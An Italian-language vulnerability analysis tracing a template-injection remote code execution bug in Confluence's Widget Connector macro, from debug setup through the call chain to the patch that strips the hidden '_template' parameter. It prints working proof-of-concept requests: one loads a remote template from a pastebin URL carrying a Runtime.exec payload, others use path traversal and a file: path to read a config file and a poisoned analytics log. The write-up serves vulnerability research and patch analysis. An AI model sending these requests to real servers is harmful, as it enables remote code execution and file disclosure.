
Iniezione di template non autorizzata in Confluence
confluence.home sull'indirizzo della home di Confluence nel file ./confluence/WEB-INF/classes/confluence-init.propertiesCATALINA_OPTS affinché il programma possa essere eseguito in modalità remote debugSu Windows, file ./bin/setenv.bat
set CATALINA_OPTS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
su Linux, file ./bin/setenv.sh
CATALINA_OPTS="-Xrunjdwp:transport=dt_socket,suspend=n,server=y,address=5005 ${CATALINA_OPTS}"
Remote JVM DebughostportCommand line aguments for remote JVM-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
$ su - postgres
postgres@ubuntu:~$ psql -U postgres
postgres@ubuntu:~$ psql -U postgres
psql (10.6 (Ubuntu 10.6-0ubuntu0.18.04.1))
Type "help" for help.
postgres=# CREATE USER wiki WITH PASSWORD 'wiki';
CREATE ROLE
postgres=# CREATE DATABASE wiki OWNER wiki;
CREATE DATABASE
postgres=# GRANT ALL PRIVILEGES ON DATABASE jira TO wiki;
GRANT
Dobbiamo aggiungere i jar: ./confluence/WEB-INF/atlassian-bundled-plugins/widgetconnector-x.x.x.jar, ./confluence/WEB-INF/lib/confluence-x.x.x.jar, ./confluence/WEB-INF/lib/velocity-x.x.x-atlassian-x.jar alla libreria, così durante il debug possiamo vedere il sorgente necessario.
Eseguiamo il file ./bin/start-confluence.bat e potete consultare anche questa guida per installare dal sorgente.
Dopo aver letto la descrizione, sappiamo che il bug ha origine dalla funzionalità Widget Connector, quindi cerco subito su Google per capire di cosa si tratta e come si usa:
per modificare una pagina

Seleziona Altre macro
Seleziona Widget connector

Scelgo dei parametri a caso, premo su Preview e poi passo da Burp per vedere se c'è qualcosa di interessante.

In questo pacchetto vedo un parametro "pluginKey":"com.atlassian.confluence.extra.widgetconnector", quindi suppongo che la funzionalità Widget Connector sia definita nella classe com.atlassian.confluence.extra.widgetconnector; cerco quindi nel path se c'è qualche jar sospetto.

Provo ad aggiungere il file ./confluence/WEB-INF/atlassian-bundled-plugins/widgetconnector-x.x.x.jar alla libreria del progetto per poter leggere il codice sorgente e fare debug.
Come aggiungere un file jar alla libreria
Apro il pacchetto widgetconnector, simpatizzo con la classe WidgetMacro, quindi metto un breakpoint nel costruttore e nel metodo execute di questa classe per vedere se viene chiamata quando uso la funzionalità Preview 🕵️

Il metodo execute viene chiamato, poi il programma chiama DefaultRenderManager.getEmbeddedHtml

Vediamo che per entrare nell'if dobbiamo soddisfare la condizione widgetRenderer.matches(url). Controlliamo il metodo widgetRenderer.matches(url) nella classe YoutubeRenderer


Quindi devo far sì che il parametro url sia un link a un video di YouTube (o Vimeo, Twitter, ...). Imposto url come link di un video YouTube qualsiasi e il programma entra nell'if, poi chiama il metodo widgetRenderer.getEmbeddedHtml(url, params) (classe YoutubeRenderer)

Il programma salta al metodo setDefaultParam: qui vediamo un parametro nascosto _template che sembra sospetto :)

Dopo essere usciti dal metodo setDefaultParam, il programma chiama DefaultVelocityRenderService.render

Si prosegue con getRenderedTemplate e con VelocityUtils.getRenderedTemplate(String templateName, Map<?, ?> contextMap)


Poi si arriva a VelocityUtils.getRenderedTemplate(String templateName, Context context) e a getRenderedTemplateWithoutSwallowingErrors(templateName, context)

Il metodo renderTemplateWithoutSwallowingErrors

Il programma chiama getTemplate, poi VelocityEngine.getTemplate e RuntimeInstance.getTemplate; qui vediamo che il programma chiama getResource con come parametro di ingresso il valore del parametro _template. In Java, getResource può essere usato per caricare una risorsa da un file locale o da un file su Internet (tramite protocollo HTTP).
Fermiamoci a riflettere: questo non consente forse a un attaccante di iniettare un template qualsiasi (dal server locale o dall'host dell'attaccante) nel programma aggiungendo il parametro _template alla richiesta?

Continuiamo a tracciare all'indietro per vedere come il programma gestisce il template una volta ottenuto:
Una volta ottenuto il template, il programma chiama VelocityUtils.renderTemplateWithoutSwallowingErrors(template, context, writer);

E poi template.merge(context, writer);
public void merge(Context context, Writer writer, List macroLibraries) throws ResourceNotFoundException, ParseErrorException, MethodInvocationException {
if (this.errorCondition != null) {
throw this.errorCondition;
} else if (this.data == null) {
String msg = "Template.merge() failure. The document is null, most likely due to parsing error.";
throw new RuntimeException(msg);
} else {
InternalContextAdapterImpl ica = new InternalContextAdapterImpl(context);
ica.setMacroLibraries(macroLibraries);
if (macroLibraries != null) {
for(int i = 0; i < macroLibraries.size(); ++i) {
try {
this.rsvc.getTemplate((String)macroLibraries.get(i));
} catch (ResourceNotFoundException var17) {
this.rsvc.getLog().error("template.merge(): cannot find template " + (String)macroLibraries.get(i));
throw var17;
} catch (ParseErrorException var18) {
this.rsvc.getLog().error("template.merge(): syntax error in template " + (String)macroLibraries.get(i) + ".");
throw var18;
} catch (Exception var19) {
throw new RuntimeException("Template.merge(): parse failed in template " + (String)macroLibraries.get(i) + ".", var19);
}
}
}
if (this.provideScope) {
ica.put(this.scopeName, new Scope(this, ica.get(this.scopeName)));
}
try {
ica.pushCurrentTemplateName(this.name);
ica.setCurrentResource(this);
((SimpleNode)this.data).render(ica, writer); ### POC có thể được render ở đây ###
} catch (StopCommand var20) {
if (!var20.isFor(this)) {
throw var20;
}
if (this.rsvc.getLog().isDebugEnabled()) {
this.rsvc.getLog().debug(var20.getMessage());
}
} catch (IOException var21) {
throw new VelocityException("IO Error rendering template '" + this.name + "'", var21);
} finally {
ica.popCurrentTemplateName();
ica.setCurrentResource((Resource)null);
if (this.provideScope) {
Object obj = ica.get(this.scopeName);
if (obj instanceof Scope) {
Scope scope = (Scope)obj;
if (scope.getParent() != null) {
ica.put(this.scopeName, scope.getParent());
} else if (scope.getReplaced() != null) {
ica.put(this.scopeName, scope.getReplaced());
} else {
ica.remove(this.scopeName);
}
}
}
}
}
}
SimpleNode.render; questo metodo usa Velocity per fare il parsing del template. A questo punto possiamo vedere che è possibile scrivere un PoC per la RCE.La richiesta POST quando si richiede la funzionalità Preview:
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: localhost:8090
Cookie: seraph.confluence=; JSESSIONID=
Connection: close
{
"contentId":"622594",
"macro": {
"name":"widget",
"body":"","params": {
"url":"https://www.youtube.com/watch?v=WfDp-TkSoFY&ab_channel=TAPMusic",
"width":"10",
"height":"10",
"_template":"https://pastebin.com/raw/JPEpiuLG"
}
}
}
file del payload
#set($x="x")
$x.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc")

WidgetMacro: execute
-> DefaultRenderManager: getEmbeddedHtml
-> YoutubeRenderer: getEmbeddedHtml
-> DefaultVelocityRenderService: render -> getRenderedTemplate
-> (confluence-6.12.2.jar) VelocityUtils: getRenderedTemplate -> getRenderedTemplate -> getRenderedTemplateWithoutSwallowingErrors -> renderTemplateWithoutSwallowingErrors -> getTemplate -> getVelocityEngine
-> VelocityEngine: getTemplate
-> RuntimeInstance: getResource
-> (confluence-6.12.2.jar) VelocityUtils: renderTemplateWithoutSwallowingErrors
-> Template: merge
=> SimpleNode: render
Quindi abbiamo riprodotto con successo questo bug con un PoC, ma nel caso in cui il target sia un server che blocca il traffico outbound, l'attaccante non può recuperare risorse da Internet, ma solo risorse locali del server.
Ho ricevuto un suggerimento: in qualche modo l'utente può iniettare un payload nel file di log. È un'idea piuttosto buona, quindi mi metto subito a scervellarmi.

POST /rest/analytics/1.0/publish/bulk invia alcune coppie chiave-valore come sopra.[{"name":"browser.metrics.navigation",
"properties":{
"apdex":"0.5",
"firstPaint":"528",
"isInitial":"true",
"journeyId":"9e60e71a-8ebe-478c-a638-ee9423f5798f",
"key":"confluence.dashboard.view",
"navigationType":"0",
"readyForUser":"1117",
"redirectCount":"0",
"resourceLoadedEnd":"499",
"resourceLoadedStart":90.35499999299645,
"threshold":"1000",
"unloadEventStart":"47",
"unloadEventEnd":"47",
"fetchStart":"25",
"domainLookupStart":"25",
"domainLookupEnd":"25",
"connectStart":"25",
"connectEnd":"25",
"requestStart":"27",
"responseStart":"28",
"responseEnd":"37",
"domLoading":"52",
"domInteractive":"538",
"domContentLoadedEventStart":"538",
"domContentLoadedEventEnd":"691",
"domComplete":"1176",
"loadEventStart":"1176",
"loadEventEnd":"1176",
"userAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36",
"pageEnd":"531",
"isBigPipeEnabled":"false",
"serverDuration":"339",
"requestCorrelationId":"36006c54d2919ecd",
"resourceTiming":"{\"☠\":[\"2,2i,2i,,,2i,,2i,2i,2i\",\"2,2i,31,2m,2k,2i,,2i,2i,2i\",\"2,2j,31,2m,2l,2j,,2j,2j,2j\",\"3,2l,2l,,,2l,,2l,2l,2l\",\"3,2l,2l,,,2l,,2l,2l,2l\",\"3,2m,2m,,,2m,,2m,2m,2m\",\"3,2n,2n,,,2n,,2n,2n,2n\",\"5,bz,cv,cv,c0,bz,,bz,bz,bz\",\"4,d6,d6,,,d6,,d6,d6,d6\",\"4,d7,d7,,,d7,,d7,d7,d7\",\"3,dq,dv,dr,dq,dq,,dq,dq,dq\",\"4,ej,ej,,,ej,,ej,ej,ej\",\"4,ej,ej,,,ej,,ej,ej,ej\",\"4,er,er,,,er,,er,er,er\",\"5,fl,fn,fn,fm,fl,,fl,fl,fl\",\"5,g9,ha,h9,gb,g9,,g9,g9,g9\",\"4,hv,hv,,,hv,,hv,hv,hv\",\"4,hv,hv,,,hv,,hv,hv,hv\",\"4,ik,ik,,,ik,,ik,ik,ik\",\"4,ik,ik,,,ik,,ik,ik,ik\",\"4,il,il,,,il,,il,il,il\",\"5,h4,ta,t0,pl,pk,,h6,h4,h4\"]}",
"userTimingRaw":"{\"marks\":{},\"measures\":{}}","experiments":"[]"},"timeDelta":-5176
}]
resourceTiming può essere modificato a piacere e viene comunque registrato nel log.
POST /rest/tinymce/1/macro/preview HTTP/1.1
{
"contentId":"1507329",
"macro":{
"name":"widget",
"body":"",
"params":{
"url":"https://www.youtube.com/watch?v=WfDp-TkSoFY&ab_channel=TAPMusic",
"_template":"/../../WEB-INF/classes/confluence-init.properties",
"width":"11",
"height":"11"
}
}
}
POST /rest/tinymce/1/macro/preview HTTP/1.1
{
"contentId":"1507329",
"macro":{
"name":"widget",
"body":"",
"params":{
"url":"https://www.youtube.com/watch?v=WfDp-TkSoFY&ab_channel=TAPMusic",
"_template":"file:C://Users/XXXXX...XXXXX/.confluence/shared-home/analytics-logs/bd0f2792fe0234be516b843e25d54a14.515465381.atlassian-analytics.log",
"width":"11",
"height":"11"
}
}
}
Nella patch, alla classe WidgetMacro è stata aggiunta la funzione doSanitizeParameters per rimuovere il parametro "_template" prima di chiamare renderManager.getEmbeddedHtml(url, parameters);
